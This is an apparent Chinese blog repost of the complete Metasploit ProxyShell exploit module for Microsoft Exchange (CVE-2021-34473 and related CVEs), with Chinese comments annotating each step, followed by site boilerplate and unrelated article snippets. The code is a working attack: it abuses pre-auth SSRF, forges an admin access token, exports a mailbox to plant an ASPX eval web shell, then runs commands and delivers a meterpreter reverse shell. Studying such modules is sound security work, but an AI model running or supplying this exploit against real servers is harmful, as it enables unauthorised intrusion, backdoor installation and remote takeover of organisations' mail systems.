Microsoft Exchange ProxyShell Remote Code Execution CVE-2021-34473 (Metasploit exploits)分析

2023-10-31

CVE-2021-34473

#加载winrm模块文件 Windows专用链接对象 https://github.com/WinRb/WinRM/
require 'winrm'    

class MetasploitModule < Msf::Exploit::Remote
  # 这部分是使用MetasploitModule工厂类,输入文件名,加载入口是它。
  Rank = ExcellentRanking # 设定Rank等级 默认好像是等于600
  #导入MSF模块
  prepend Msf::Exploit::Remote::AutoCheck # 自动检查远程模块
  include Msf::Exploit::CmdStager # 命令执行相关
  include Msf::Exploit::FileDropper # 文件管理相关
  include Msf::Exploit::Powershell # Powershell 模块
  include Msf::Exploit::Remote::HttpClient # HTTP客户端链接
  include Msf::Exploit::EXE

  def initialize(info = {}) # 头部信息包含简介、CVE、作者、HELP等等。
    super(
      update_info(
        info,
        'Name' => 'Microsoft Exchange ProxyShell RCE',
        'Description' => %q{
          This module exploit a vulnerability on Microsoft Exchange Server that
          allows an attacker to bypass the authentication (CVE-2021-31207), impersonate an
          arbitrary user (CVE-2021-34523) and write an arbitrary file (CVE-2021-34473) to achieve
          the RCE (Remote Code Execution).
          By taking advantage of this vulnerability, you can execute arbitrary
          commands on the remote Microsoft Exchange Server.
          This vulnerability affects Exchange 2013 CU23 < 15.0.1497.15,
          Exchange 2016 CU19 < 15.1.2176.12, Exchange 2016 CU20 < 15.1.2242.5,
          Exchange 2019 CU8 < 15.2.792.13, Exchange 2019 CU9 < 15.2.858.9.
          All components are vulnerable by default.
        },
        'Author' => [
          'Orange Tsai', # Discovery
          'Jang (@testanull)', # Vulnerability analysis
          'PeterJson', # Vulnerability analysis
          'brandonshi123', # Vulnerability analysis
          'mekhalleh (RAMELLA Sébastien)', # exchange_proxylogon_rce template
          'Spencer McIntyre', # Metasploit module
          'wvu' # Testing
        ],
        'References' => [
          [ 'CVE', '2021-34473' ],
          [ 'CVE', '2021-34523' ],
          [ 'CVE', '2021-31207' ],
          [ 'URL', 'https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1' ],
          [ 'URL', 'https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf' ],
          [ 'URL', 'https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/' ]
        ],
        'DisclosureDate' => '2021-04-06', # pwn2own 2021
        'License' => MSF_LICENSE,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Platform' => ['windows'],
        'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],
        'Privileged' => true,
        'Targets' => [
          [
            'Windows Powershell',
            {
              'Platform' => 'windows',
              'Arch' => [ARCH_X64, ARCH_X86],
              'Type' => :windows_powershell,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Windows Dropper',
            {
              'Platform' => 'windows',
              'Arch' => [ARCH_X64, ARCH_X86],
              'Type' => :windows_dropper,
              'CmdStagerFlavor' => %i[psh_invokewebrequest],
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
                'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest'
              }
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'windows',
              'Arch' => [ARCH_CMD],
              'Type' => :windows_command,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'AKA' => ['ProxyShell'],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options([ # 这块是参数配置。
      OptString.new('EMAIL', [true, 'A known email address for this organization']),
      OptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false]),
    ])

    register_advanced_options([
      OptString.new('BackendServerName', [false, 'Force the name of the backend Exchange server targeted']),
      OptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\Program Files\\Microsoft\\Exchange Server\\V15']),
      OptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\auth']),
      OptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\inetpub\\wwwroot']),
      OptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']),
      OptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']),
      OptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0'])
    ])
  end

  def check # 漏洞测试判断漏洞是否存在
    @ssrf_email ||= Faker::Internet.email
    res = send_http('GET', '/mapi/nspi/') # * 通过mapi/nspi获得 敏感信息
    return CheckCode::Unknown if res.nil?
    return CheckCode::Safe unless res.code == 200 && res.get_html_document.xpath('//head/title').text == 'Exchange MAPI/HTTP Connectivity Endpoint' 
    # 判断依据是HTTP状态吗200和标题返回值是否为这个字符串如果是那就存在漏洞了。

    CheckCode::Vulnerable
  end
    # ***主要关注在run_cve_2021_34473和exploit方法 ***
  def cmd_windows_generic?
    datastore['PAYLOAD'] == 'cmd/windows/generic'
  end

  def encode_cmd(cmd)
    cmd.gsub!('\\', '\\\\\\')
    cmd.gsub('"', '\u0022').gsub('&', '\u0026').gsub('+', '\u002b')
  end

  def random_mapi_id
    id = "{#{Rex::Text.rand_text_hex(8)}"
    id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
    id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
    id = "#{id}-#{Rex::Text.rand_text_hex(4)}"
    id = "#{id}-#{Rex::Text.rand_text_hex(12)}}"
    id.upcase
  end

  def request_autodiscover(_server_name) 
  # 这块就是通过自动发现请求获取信息 基本原理就不说了。关键地方在注释。
  # 主要就是为了获取敏感信息,已经异常判断。  Server ID 和LegacyDN
    xmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' }

    response = send_http(
      'POST',
      '/autodiscover/autodiscover.xml',
      data: soap_autodiscover,
      ctype: 'text/xml; charset=utf-8'
    )

    case response.body
    when %r{<ErrorCode>500</ErrorCode>}
      fail_with(Failure::NotFound, 'No Autodiscover information was found')
    when %r{<Action>redirectAddr</Action>}
      fail_with(Failure::NotFound, 'No email address was found')
    end

    xml = Nokogiri::XML.parse(response.body)

    legacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content
    fail_with(Failure::NotFound, 'No \'LegacyDN\' was found') if legacy_dn.nil? || legacy_dn.empty?

    server = ''
    xml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item|
      type = item.at_xpath('./xmlns:Type', xmlns)&.content
      if type == 'EXCH'
        server = item.at_xpath('./xmlns:Server', xmlns)&.content
      end
    end
    fail_with(Failure::NotFound, 'No \'Server ID\' was found') if server.nil? || server.empty?

    { server: server, legacy_dn: legacy_dn }
  end

  def request_fqdn
    ntlm_ssp = "NTLMSSP\x00\x01\x00\x00\x00\x05\x02\x88\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    received = send_request_raw(
      'method' => 'RPC_IN_DATA',
      'uri' => normalize_uri('rpc', 'rpcproxy.dll'),
      'headers' => {
        'Authorization' => "NTLM #{Rex::Text.encode_base64(ntlm_ssp)}"
      }
    )
    fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received

    if received.code == 401 && received['WWW-Authenticate'] && received['WWW-Authenticate'].match(/^NTLM/i)
      hash = received['WWW-Authenticate'].split('NTLM ')[1]
      message = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash))
      dns_server = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME]

      return dns_server.force_encoding('UTF-16LE').encode('UTF-8').downcase
    end

    fail_with(Failure::NotFound, 'No Backend server was found')
  end

  # https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff
  def request_mapi(_server_name, legacy_dn)
  	# 使用mapi请求获取用户UID。
  	# 数据包规则参考上面的URL。
  	# legacy_dn传统可分辨名称
    data = "#{legacy_dn}\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
    headers = {
      'X-RequestType' => 'Connect',
      'X-ClientInfo' => random_mapi_id,
      'X-ClientApplication' => datastore['MapiClientApp'],
      'X-RequestId' => "#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}"
    }
	# 这是获取SID。
    sid = ''
    response = send_http(
      'POST',
      '/mapi/emsmdb',
      data: data,
      ctype: 'application/mapi-http',
      headers: headers
    )
    if response&.code == 200
      sid = response.body.match(/S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/).to_s
    end
    fail_with(Failure::NotFound, 'No \'SID\' was found') if sid.empty?
    sid
  end

  # pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin.
  def run_cve_2021_34473
     # 检查参数配置项 是否完整填写。
    if datastore['BackendServerName'] && !datastore['BackendServerName'].empty?
      server_name = datastore['BackendServerName']
      print_status("Internal server name forced to: #{server_name}")
    else
      print_status('Retrieving backend FQDN over RPC request')
      server_name = request_fqdn
      print_status("Internal server name: #{server_name}")
    end
    # 定义全局变量server_name
    @backend_server_name = server_name

    # get information via an autodiscover request.
    # 通过自动发现请求获取信息,英文注释夜的很清楚。
    print_status('Sending autodiscover request')
    autodiscover = request_autodiscover(server_name)
	# 打印输出信息。
    print_status("Server: #{autodiscover[:server]}")
    print_status("LegacyDN: #{autodiscover[:legacy_dn]}")

    # get the user UID using mapi request.
    # 使用mapi请求获取用户UID。
    print_status('Sending mapi request')
    mailbox_user_sid = request_mapi(server_name, autodiscover[:legacy_dn])
    print_status("SID: #{mailbox_user_sid} (#{datastore['EMAIL']})")
	# 获取token
    send_payload(mailbox_user_sid)
    @common_access_token = build_token(mailbox_user_sid)
  end

  def send_http(method, uri, opts = {})
    ssrf = "Autodiscover/autodiscover.json?a=#{@ssrf_email}"
    unless opts[:cookie] == :none
      opts[:cookie] = "Email=#{ssrf}"
    end

    request = {
      'method' => method,
      'uri' => "/#{ssrf}#{uri}",
      'agent' => datastore['UserAgent'],
      'ctype' => opts[:ctype],
      'headers' => { 'Accept' => '*/*', 'Cache-Control' => 'no-cache', 'Connection' => 'keep-alive' }
    }
    request = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil?
    request = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil?
    request = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil?

    received = send_request_cgi(request)
    fail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received

    received
  end

  def send_payload(user_sid)
  # 发送Payload 
    @shell_input_name = rand_text_alphanumeric(8..12)
    @draft_subject = rand_text_alphanumeric(8..12)
    payload = Rex::Text.encode_base64(PstEncoding.encode("#<script language=\"JScript\" runat=\"server\">function Page_Load(){eval(Request[\"#{@shell_input_name}\"],\"unsafe\");}</script>"))
    file_name = "#{Faker::Lorem.word}#{%w[- _].sample}#{Faker::Lorem.word}.#{%w[rtf pdf docx xlsx pptx zip].sample}"
    envelope = XMLTemplate.render('soap_draft', user_sid: user_sid, file_content: payload, file_name: file_name, subject: @draft_subject)

    send_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8')
  end

  def soap_autodiscover
    <<~SOAP
      <?xml version="1.0" encoding="utf-8"?>
      <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
        <Request>
          <EMailAddress>#{datastore['EMAIL'].encode(xml: :text)}</EMailAddress>
          <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
        </Request>
      </Autodiscover>
    SOAP
  end

  def web_directory
    if datastore['UseAlternatePath']
      datastore['IISWritePath'].gsub('\\', '/')
    else
      datastore['ExchangeWritePath'].gsub('\\', '/')
    end
  end

  def build_token(sid)
    uint8_tlv = proc do |type, value|
      type + [value.length].pack('C') + value
    end

    token = uint8_tlv.call('V', "\x00")
    token << uint8_tlv.call('T', 'Windows')
    token << "\x43\x00"
    token << uint8_tlv.call('A', 'Kerberos')
    token << uint8_tlv.call('L', datastore['EMAIL'])
    token << uint8_tlv.call('U', sid)

    # group data for S-1-5-32-544
    token << "\x47\x01\x00\x00\x00\x07\x00\x00\x00\x0c\x53\x2d\x31\x2d\x35\x2d\x33\x32\x2d\x35\x34\x34\x45\x00\x00\x00\x00"
    Rex::Text.encode_base64(token)
  end

  def execute_powershell(cmdlet, args: [])
    winrm = SSRFWinRMConnection.new({
      endpoint: full_uri('PowerShell/'),
      transport: :ssrf,
      ssrf_proc: proc do |method, uri, opts|
        uri = "#{uri}?X-Rps-CAT=#{@common_access_token}"
        uri << "&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}"
        opts[:cookie] = :none
        opts[:data].gsub!(
          %r{<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>(.*?)</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>},
          "<#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>http://127.0.0.1/PowerShell/</#{WinRM::WSMV::SOAP::NS_ADDRESSING}:To>"
        )
        opts[:data].gsub!(
          %r{<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI mustUnderstand="true">(.*?)</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>},
          "<#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</#{WinRM::WSMV::SOAP::NS_WSMAN_DMTF}:ResourceURI>"
        )
        send_http(method, uri, opts)
      end
    })

    winrm.shell(:powershell) do |shell|
      shell.instance_variable_set(:@max_fragment_blob_size, WinRM::PSRP::MessageFragmenter::DEFAULT_BLOB_LENGTH)
      shell.extend(SSRFWinRMConnection::PowerShell)
      shell.run({ cmdlet: cmdlet, args: args })
    end
  end

  def exploit
    @ssrf_email ||= Faker::Internet.email
    print_status('Attempt to exploit for CVE-2021-34473')
    run_cve_2021_34473
	# 发送请求,包含调用Powershell接口和token信息
    powershell_probe = send_http('GET', "/PowerShell/?X-Rps-CAT=#{@common_access_token}&Email=Autodiscover/autodiscover.json?a=#{@ssrf_email}", cookie: :none)
    fail_with(Failure::UnexpectedReply, 'Failed to access the PowerShell backend') unless powershell_probe&.code == 200

    print_status('Assigning the \'Mailbox Import Export\' role')
    # 拼接powershell接口语法
    execute_powershell('New-ManagementRoleAssignment', args: [ { name: '-Role', value: 'Mailbox Import Export' }, { name: '-User', value: datastore['EMAIL'] } ])
	# 上传SHELL 名字
    @shell_filename = "#{rand_text_alphanumeric(8..12)}.aspx"
    if datastore['UseAlternatePath']
      unc_path = "#{datastore['IISBasePath'].split(':')[1]}\\#{datastore['IISWritePath']}"
      unc_path = "\\\\\\\\#{@backend_server_name}\\#{datastore['IISBasePath'].split(':')[0]}$#{unc_path}\\#{@shell_filename}"
    else
      unc_path = "#{datastore['ExchangeBasePath'].split(':')[1]}\\FrontEnd\\HttpProxy\\#{datastore['ExchangeWritePath']}"
      unc_path = "\\\\\\\\#{@backend_server_name}\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{unc_path}\\#{@shell_filename}"
    end

    normal_path = unc_path.gsub(/^\\+127\.0\.0\.1\\(.)\$\\/, '\1:\\')
    print_status("Writing to: #{normal_path}")
    register_file_for_cleanup(normal_path)

    @export_name = rand_text_alphanumeric(8..12)
    execute_powershell('New-MailboxExportRequest', args: [
      { name: '-Name', value: @export_name },
      { name: '-Mailbox', value: datastore['EMAIL'] },
      { name: '-IncludeFolders', value: '#Drafts#' },
      { name: '-ContentFilter', value: "(Subject -eq '#{@draft_subject}')" },
      { name: '-ExcludeDumpster' },
      { name: '-FilePath', value: unc_path }
    ])

    print_status('Waiting for the export request to complete...')
    30.times do
      if execute_command('whoami')&.code == 200
        print_good('The mailbox export request has completed')
        break
      end
      sleep 5
    end

    print_status('Triggering the payload')
    case target['Type']
    when :windows_command
      vprint_status("Generated payload: #{payload.encoded}")

      if !cmd_windows_generic?
        execute_command(payload.encoded)
      else
        boundary = rand_text_alphanumeric(8..12)
        response = execute_command("cmd /c echo START#{boundary}&#{payload.encoded}&echo END#{boundary}")

        print_warning('Dumping command output in response')
        if response.body =~ /START#{boundary}(.*)END#{boundary}/m
          print_line(Regexp.last_match(1).strip)
        else
          print_error('Empty response, no command output')
        end
      end
    when :windows_dropper
      execute_command(generate_cmdstager(concat_operator: ';').join)
    when :windows_powershell
      cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)
      execute_command(cmd)
    end
  end

  def cleanup # 清除SHELL
    super
    return unless @common_access_token && @export_name

    print_status('Removing the mailbox export request')
    execute_powershell('Remove-MailboxExportRequest', args: [
      { name: '-Identity', value: "#{datastore['EMAIL']}\\#{@export_name}" },
      { name: '-Confirm', value: false }
    ])
  end

  def execute_command(cmd, _opts = {}) # 执行SHELL的命令
    if !cmd_windows_generic?
      cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"#{encode_cmd(cmd)}\"));"
    else
      cmd = "Response.Write(new ActiveXObject(\"WScript.Shell\").Exec(\"#{encode_cmd(cmd)}\").StdOut.ReadAll());"
    end

    send_request_raw(
      'method' => 'POST',
      'uri' => normalize_uri(web_directory, @shell_filename),
      'ctype' => 'application/x-www-form-urlencoded',
      'data' => "#{@shell_input_name}=#{cmd}"
    )
  end
end

class PstEncoding # 编码表
  ENCODE_TABLE = [
    71, 241, 180, 230, 11, 106, 114, 72,
    133, 78, 158, 235, 226, 248, 148, 83,
    224, 187, 160, 2, 232, 90, 9, 171,
    219, 227, 186, 198, 124, 195, 16, 221,
    57, 5, 150, 48, 245, 55, 96, 130,
    140, 201, 19, 74, 107, 29, 243, 251,
    143, 38, 151, 202, 145, 23, 1, 196,
    50, 45, 110, 49, 149, 255, 217, 35,
    209, 0, 94, 121, 220, 68, 59, 26,
    40, 197, 97, 87, 32, 144, 61, 131,
    185, 67, 190, 103, 210, 70, 66, 118,
    192, 109, 91, 126, 178, 15, 22, 41,
    60, 169, 3, 84, 13, 218, 93, 223,
    246, 183, 199, 98, 205, 141, 6, 211,
    105, 92, 134, 214, 20, 247, 165, 102,
    117, 172, 177, 233, 69, 33, 112, 12,
    135, 159, 116, 164, 34, 76, 111, 191,
    31, 86, 170, 46, 179, 120, 51, 80,
    176, 163, 146, 188, 207, 25, 28, 167,
    99, 203, 30, 77, 62, 75, 27, 155,
    79, 231, 240, 238, 173, 58, 181, 89,
    4, 234, 64, 85, 37, 81, 229, 122,
    137, 56, 104, 82, 123, 252, 39, 174,
    215, 189, 250, 7, 244, 204, 142, 95,
    239, 53, 156, 132, 43, 21, 213, 119,
    52, 73, 182, 18, 10, 127, 113, 136,
    253, 157, 24, 65, 125, 147, 216, 88,
    44, 206, 254, 36, 175, 222, 184, 54,
    200, 161, 128, 166, 153, 152, 168, 47,
    14, 129, 101, 115, 228, 194, 162, 138,
    212, 225, 17, 208, 8, 139, 42, 242,
    237, 154, 100, 63, 193, 108, 249, 236
  ].freeze

  def self.encode(data)
    encoded = ''
    data.each_char do |char|
      encoded << ENCODE_TABLE[char.ord].chr
    end
    encoded
  end
end

class XMLTemplate
  def self.render(template_name, context = nil)
    file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'proxyshell', "#{template_name}.xml.erb")
    template = ::File.binread(file_path)
    case context
    when Hash
      b = binding
      locals = context.collect { |k, _| "#{k} = context[#{k.inspect}]; " }
      b.eval(locals.join)
    else
      raise ArgumentError
    end
    b.eval(Erubi::Engine.new(template).src)
  end
end

class SSRFWinRMConnection < WinRM::Connection
  class MessageFactory < WinRM::PSRP::MessageFactory
    def self.create_pipeline_message(runspace_pool_id, pipeline_id, command)
      WinRM::PSRP::Message.new(
        runspace_pool_id,
        WinRM::PSRP::Message::MESSAGE_TYPES[:create_pipeline],
        XMLTemplate.render('create_pipeline', cmdlet: command[:cmdlet], args: command[:args]),
        pipeline_id
      )
    end
  end

  # we have to define this class so we can define our own transport factory that provides one backed by the SSRF
  # vulnerability
  class TransportFactory < WinRM::HTTP::TransportFactory
    class HttpSsrf < WinRM::HTTP::HttpTransport
      # rubocop:disable Lint/
      def initialize(endpoint, options)
        @endpoint = endpoint.is_a?(String) ? URI.parse(endpoint) : endpoint
        @ssrf_proc = options[:ssrf_proc]
      end

      def send_request(message)
        resp = @ssrf_proc.call('POST', @endpoint.path, { ctype: 'application/soap+xml;charset=UTF-8', data: message })
        WinRM::ResponseHandler.new(resp.body, resp.code).parse_to_xml
      end
    end

    def create_transport(connection_opts)
      raise NotImplementedError unless connection_opts[:transport] == :ssrf

      super
    end

    private

    def init_ssrf_transport(opts)
      HttpSsrf.new(opts[:endpoint], opts)
    end
  end

  module PowerShell
    def send_command(command, _arguments)
      command_id = SecureRandom.uuid.to_s.upcase
      message = MessageFactory.create_pipeline_message(@runspace_id, command_id, command)
      fragmenter.fragment(message) do |fragment|
        command_args = [connection_opts, shell_id, command_id, fragment]
        if fragment.start_fragment
          resp_doc = transport.send_request(WinRM::WSMV::CreatePipeline.new(*command_args).build)
          command_id = REXML::XPath.first(resp_doc, "//*[local-name() = 'CommandId']").text
        else
          transport.send_request(WinRM::WSMV::SendData.new(*command_args).build)
        end
      end

      command_id
    end
  end

  def initialize(connection_opts)
    # these have to be set to truthy values to pass the option validation, but they're not actually used because hax
    connection_opts.merge!({ user: :ssrf, password: :ssrf })
    super(connection_opts)
  end

  def transport
    @transport ||= begin
      transport_factory = TransportFactory.new
      transport_factory.create_transport(@connection_opts)
    end
  end
end
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Microsoft Exchange ProxyShell Remote Code Execution CVE-2021-34473 (Metasploit exploits)分析 的相关文章

随机推荐

  • 面试必问 - AES 加密 和 RSA 加密是什么?它们有什么区别

    1 什么是 AES 加密 和 RSA 加密 AES Advanced Encryption Standard 高级加密标准 AES 是一种对称加密算法 即加密和解密使用相同的密钥 AES 的密钥长度可以选择 128 位 192 位或 256
  • Vue中通过localStorage存储信息并获取显示到页面中

    这两天写了一个日程表功能 包括日程表内容的增加 删除功能 解决办法一 可以在后端写接口 把日程表的内容写到数据库中 再通过接口从数据库中获取 通过后端的接口来对数据进行增删改查 解决办法二 这次我没想着做后端接口 因为是写在浏览器首页面中
  • 怎样优化Pentium系列处理器的代码 From:http://www.codingnow.com/2000/download/pentopt.htm#26_14

    How to optimize for the Pentium family of microprocessors Copyright 1996 2000 by Agner Fog Last modified 2000 07 03 Cont
  • Redis集群实现分布式Session共享

    Cookie 保存在客户端浏览器中 而 Session 保存在服务器上 客户端浏览器访问服务器的时候 服务器把客户端信息以某种形式记录在服务器上 这就是 Session 客户端浏览器再次访问时只需要从该 Session 中查找该客户的状态就
  • Redis分布式锁的使用和实现原理详解

    这篇文章主要给大家介绍了关于Redis分布式锁的使用和实现原理的相关资料 文中通过示例代码介绍的非常详细 对大家的学习或者工作具有一定的参考学习价值 需要的朋友们下面随着小编来一起学习学习吧 模拟一个电商里面下单减库存的场景 第一版代码 存
  • nn.LayerNorm的实现及原理

    LayerNorm 在transformer中一般采用LayerNorm LayerNorm也是归一化的一种方法 与BatchNorm不同的是它是对每单个batch进行的归一化 而batchnorm是对所有batch一起进行归一化的 y x
  • 是面试官放水,还是公司实在是太缺人?这都没挂,腾讯原来这么容易进···

    本人211非科班 之前在字节和腾讯实习过 这次其实没抱着什么特别大的希望投递 没想到腾讯可以再给我一次机会 还是挺开心的 本来以为有个机会就不错啦 没想到能成功上岸 在这里要特别感谢帮我内推的同学 中间投递比较曲折 是他帮了我很多 非常负责
  • ARM64架构-Ubuntu20更换国内镜像源

    前言 在嵌入式开发中 常用到ARM64的开发平台 进行下载东西时想换国内源 下面以中科大源为参考 一 什么是源 其实吧它就像苹果和案桌的软件应用商店一样 为Linux用户提供软件下载及更新服务的 Linux家族有三个软件源系统 yum源 使
  • 逆向crackme之ESp定律脱壳

    1 前言 此题来自攻防世界高手进阶区的一道逆向题目 crackme 通过对可执行程序进行脱壳 该壳为北斗的壳 涉及到ESP定律 大体流程是找到call处的ESp 在数据窗口中跟随 下个硬件访问断点 就到了OEP处 用ODdump脱壳就行了
  • 使用Docker高效搭建开发环境(详细教程)

    在学习Docker镜像和容器之前 先给大家介绍下Docker的概念 在理解概念的基础上可以举一反三 1 Docker的核心为镜像和容器 有JAVA基础的小伙伴们可以理解为镜像就是JAVA中的类 容器为相关类的对象 一个镜像可以创建多个容器
  • ffmpeg快速将mkv转mp4

    想用pr来剪一些动漫视频 视频是mkv格式的 但是我的pr pro2021不支持mkv格式 只能先转成mp4格式再用pr剪切 ffmpeg的格式转换是最快的 官网下载ffmpeg https github com BtbN FFmpeg B
  • 【环境搭建】(二)在Ubuntu22.04安装/卸载软件Anaconda

    一个愿意伫立在巨人肩膀上的农民 1 Anaconda的主要功能 Anaconda是一个Python环境管理工具 因为不同的Python项目中可能需要同一个库的不同版本 为了避免冲突 Anaconda可以对不同Python项目创建自己的运行环
  • 生活笑话

    n多年前 传呼机还算比较稀罕的时候 有师兄A买了传呼机 师兄B说 要试一试看 好使不 遂打电话到呼台 小姐 请呼 站在那里不要动 等我们过去打你 小姐大惊 这种信息我们不能发 B师兄坚持 就得这么发 不一会儿 呼机响起 拿起一看 有人要打你
  • 详细讲述C++各种运算符重载

    详细讲述C 各种运算符重载 1 等号运算符重载 2 加号运算符重载 3 取地址运算符重载 4 前置 后置 运算符重载 4 1后置 的引用问题 4 2相关问题分析 5 重载类型强转运算符 6 括号运算符重载 7 输出运算符重载 8 星号运算符
  • jetbrains phpstorm插件开发环境搭建

    2018 04 14 重要更新 使用 gradle 进行构建可以免去下面大部分步骤 使用 gradle 我们仅需下载安装 JDK Idea 使用 gradle 的方法是 新建 Project 然后选择如下 使用 gradle 的好处是 不用
  • C++多态(虚函数)使用详解

    目录 1 什么是多态 1 1父类指针指向子类指针案例 2 多态 虚函数的基本使用 3 多态 虚函数表 3 1单个类的虚函数表 3 2使用继承的虚函数表 3 3多重继承的虚函数表 4 虚函数的修饰 4 1虚函数的修饰 final 4 2虚函数
  • windows 更改pip源

    在c user 或者用户 电脑的用户名 目录下创建一个命名为 pip 的文件夹 如 C Users Administrator pip 在该文件夹下创建一个命名为 pip ini 的文件 在该文件中写入以下内容 global index u
  • SpringBoot之定时任务详解

    使用SpringBoot创建定时任务 目前主要有以下三种创建方式 一 基于注解 Scheduled 二 基于接口 SchedulingConfigurer 前者相信大家都很熟悉 但是实际使用中我们往往想从数据库中读取指定时间来动态执行定时任
  • 客观面试题--37.Spring/SpringMVC常用注解有哪些?

    Spring常用注解 使用注解来构造IoC容器 用注解来向Spring容器注册Bean 需要在applicationContext xml中注册
  • Microsoft Exchange ProxyShell Remote Code Execution CVE-2021-34473 (Metasploit exploits)分析

    CVE 2021 34473 加载winrm模块文件 Windows专用链接对象 https github com WinRb WinRM require winrm class MetasploitModule lt Msf Exploi